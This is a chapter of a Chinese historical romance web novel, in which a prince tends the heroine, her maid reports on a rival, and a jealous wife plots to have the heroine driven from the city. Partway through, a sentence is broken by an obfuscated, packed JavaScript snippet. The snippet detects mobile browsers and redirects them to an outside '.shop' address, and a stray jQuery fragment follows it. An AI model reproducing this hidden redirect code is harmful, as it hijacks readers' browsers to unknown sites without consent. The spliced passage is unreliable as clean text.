41. 第41章
    “娘子这是怎么了?”

    阿玥见人脸色苍白虚弱无力,连忙从匣子拿出医治头疾的药泥,她偷偷溜到平康坊打探消息,正想着回来与娘子密谋密谋,这一回来就看到娘子不省人事可吓坏了。

    “我来吧。”李郢湛挽着她的头慢慢垂落肩膀,一手粘上草青色泥药,一手撩开额头碎丝,宽大可覆的手指轻触玉肤,像是在绘画一副美丽图景。

    “你家娘子初生牛犊不怕虎,硬是要以卵击石,承受不住,郁气昏了过去。”

    “啊,阿玥不明白。”

    “没什么,歇息一会儿便好。”旋即盯了眼她,“你家娘子去哪里从来不与你说?还是你们主仆间总喜爱往狗洞虫穴里钻?”

    “?娘子去了哪里?该不会去找崔……”

    烈烈的目光射过来,她立马闭嘴,转而问,“那负心汉害的娘子?”

    李郢湛不说话,继续涂抹,从一侧到另一侧,下手明显重了些。

    怀下的女子比平日少了几分顽皮,更显乖巧,熟睡中好似察觉到有人要害她,糊弄她脑袋,扬起小手忽一拍,给李郢湛手背打出红痕。

    阿玥噗嗤笑出声,她知晓娘子是故意的,“城南王不懂怜香惜玉,害得娘子生痛。”她戏说一番,其实就这么一会儿,能看出这人细心认真,是要比自己都温柔,在他手里的东西似乎能开出花来。

    “连睡觉也不安稳。”面无神色中多了一丝暗含的笑意,随即抓起那只因打人辣辣痛的手,翘起一块药泥,往冒红的四指按了按。

    实在憋得难受,手掌发酸害她咯咯笑出眼泪,腿一蹬便从他怀里滑溜走,其实刚才便舒缓了,只是想报复此人多次讨她便宜,喊“厢儿”才如此。

    “不痛了不痛了,多谢城南王。”起身后一番整装,与阿玥打眼笑笑,“我没事,别担心。”

    李郢湛拍拍手起身,“府里虽没有禁足的规矩,但娘子还是我的人,往后要去哪里是要通报的,可知晓了?”

    一句“我的人”下了重音,不觉让人多想些什么。

    被赤.裸的盯着不好意思,脸绯红发热,像偷吃的小孩被大人发现,害怕得不敢对视,“阮厢晓得了……”

    凝了眼静坐一侧的城南王,正妥当摆放药泥,动作神态竟是一丝不苟。此人面冷心热,为何总爱装作一副不近人情的样儿。

    “嗯。”说完背手而走,她望着远去的身影,板正刚直,倒有些正人君子模样。

    “那负心汉来找你,许是沈杜若告知,难不成夫妇二人要联合欺负娘子?”阿玥趁人走了悄悄问。

    她就说当初沈杜若断不会吃了亏没事走人,原来背后使上人了,“那负心汉有没有对你做什么!”

    “他不敢,我本就是去与他说清,送我的东西还给了回去,这下就再无瓜葛了。”她鼓着腮儿蔫蔫说。

    “可是……”阿玥总觉着这事没这么简单,“就算崔裴愿意,那沈杜若也不是个宽厚的主儿,我怕崔裴吃了憋,她们日后会再来寻娘子。”

    “况且咱白白受了这么多委屈,岂是这般轻松就让他们好过!”她在平康坊问出不少崔裴背地里的阴暗,心里早有谋算。

    “此事还得从长计议,不过按今日之事来看,他们许是不敢轻易拿人了。”她捂着胸口,忆起李郢湛在洺点轩维护自己那般,心不知怎得怦怦乱跳。

    “你说城南王是不是个好人?”

    阿玥也开始重新思考,“城南王在京城作风无一人夸赞,可咱近来这么久也没见过他有任何不端,除了对娘子不怀好意外,就这般来看,他就是个坏人。”

    “不过话又说回来,他总比崔裴好!”

    阮厢认同点点头,拉她坐下,“近日可有探到什么消息?”

    “有是有,但凭借我们二人之力恐怕不行,还得依靠城南王。我想进宫。”

    “进宫?你一个女子要去那种地方做什么?”

    她打探好了,只有见到相爷,所有事情才会水落石出,娘子身份才会大白于天下,届时复仇有人撑腰,一切都好办。

    “哎呀,自然是为娘子好。”阿玥替她梳妆打扮。

    阮厢摇摇头,按他了解李郢湛的性子,出府见一面崔裴都耿耿于怀,若是进宫,怕是还未迈一步,就将人拴住了。

    阿玥这么一想也是,城南王多疑,怕是要背后查她进宫所为何事,再顺手摸鱼揪出秘密,怕对相爷不利。

    “罢了,我再想想其他办法。”

    “龙潭虎穴之地,需得再三计谋。”阮厢虽不知阿玥打什么算盘,但经过这些天相互扶持,她愿意相信阿玥。

    “我还打听出来崔裴暗中与人秘协商货一事,据说和朝堂大臣有关,还是私人非法所为,若是我们能从中掺和……”

    正是崔裴和张德顺互利一事。

    崔府。

    崔裴刚刚回到府邸,就看到中.庭堆了金灿灿大匣子。

    “爷您回来的正好,这些是城南王派人送来的,说,说是帮阮小娘子还债,多出的,给爷补补身子……”都知晓他被气得不轻,一进门脸铁青铁青。

    全是黄金银两,两大匣子,这般豪横他还是第一次见。

    崔裴捡起一块摸了摸,捏的骨节碎响,哼声,“城南王抛掷黄金万两为美人,还真是出手阔绰。”

    邬戚在一旁看着爷的脸越加僵着,也不好安慰点什么,遇钱生嫌他大概是不懂。

    不一会儿杜若也从街市回来,她适才趁崔郎出门的时候去找了昨日留宿的贱蹄子,给了老鸨些银两,把人里里外外教训了一顿,此后是不能再以色侍人了。

    崔裴也不知道随便找了女子留宿,竟断送了她人一生。

    “郎君回来了。”她端庄从容行至身侧,面色红润,“这里怎么会又有如此多银两?是要贴补家用?”

    “夫人这些是城南王托人送来的,说是,为报答老爷抚养之恩。”邬戚说。

    沈杜若知晓城南王到底纨绔一个,对钱财用度全凭己心,却也没想到为了那小贱蹄子这么大方,可知这里的金银都足够府

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175259|148835||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里半年花销了。

    “既然送来来便收下吧,钱财不在乎多的,正好填补了阿耶那笔钱。”

    沈褚欠下的那笔钱不过是李郢湛的一个小手段,兜转转还是沈褚吃的亏,背后收集他卖官鬻爵的证据,可不是黄金万两便能填补的。

    有需要,便拿来用一用。

    “郎君不舒服?”杜若看他面色不佳,也是猜到了在为那小贱蹄子烦神。

    想伸手探额头,被推开冷冷道,“我没事,这些银两娘子交由处置吧,若没什么事,我先回书房了。”毫不迟疑带风而走。

    邬戚拜别也随着走了,一路上琢磨老爷虽不喜沈大娘子,但也从未表现如此冷淡,二人分明生了嫌隙。

    沈杜若把帕子掐出勒痕,间瞬又喜上眉梢,尾指微翘,帕子散散松下。

    老嬷嬷走上前,猜疑道,“老爷这般心不在焉神情,莫非计谋得效了?”

    沈杜若沿着金银匣子走一圈,若有所思,“十几载相守怕不会轻易舍断,有那小贱蹄子在的一天,崔郎就不会心思回来,只有她彻底消失了……”

    “娘子要……”

    “万一城南王问罪起来……”

    老嬷嬷惴惴不安,自从那一次从城南王府出来后,对城南王都胆战心惊。

    “并非我们二人亲自下场,瞿相最近严查无籍之徒,崔郎藏了她这么久,身份定然不得好,只要把消息放出去,届时朝廷清算,无论多大的凤凰都要当做流民驱赶出城,那时候,上帝也保不了她。”

    老嬷嬷竖起大拇指高赞,“还是娘子思虑周全,不过会不会害了老爷?”

    沈杜若阴邪一笑,捏着手中的金子碎碎作响,“人在谁手里就是谁惹的麻烦,城南王包庇窝藏之罪当属最大,崔郎牵连尚且无大碍,只要能把我这心里的刺彻底拔了,我又顾得了何人?”

    “就当是他负我的教训了。”狠意明显可见。

    这番话给老嬷嬷听得一惊抖,她这位主子心狠手辣就连枕边人也不放过,“娘子高明!”

    “对了,去吧叶施香叫过来。”她手指一翘,算谋在心,崔府大夫人的名号才刚刚响起。

    叶施香一听说老爷回来了就巴不得黏上去,可又碍于沈杜若明令警告等她行事,这才不得独守空房整整几日。

    见人来唤,身姿雀跃跟在后面,就连平常她最讨厌的老嬷嬷,这会儿也得赶着捧好几句,仿佛就是去直接宣告崔府二夫人的身份。

    “见过大娘子,您找我是和老爷商量好了?”一口一句大娘子,像是默认了自己在府内第二的位置。

    沈杜若高坐明堂,旁侧的镂空香炉早已焚尽几刻,她起身去添了新的,顿时屋内漫延一缕缕轻烟。

    “这些小事交给下人来办便好,大娘子金枝玉叶莫要折了贵气。”她伸手请香,沈杜若旋了旋眉,放到她手里。

    “坐吧。”

    叶施香一令一听陪笑着坐下去,自从沈杜若答应帮她起,就如变换了个人般,左右不敢得罪,“大娘子请讲。”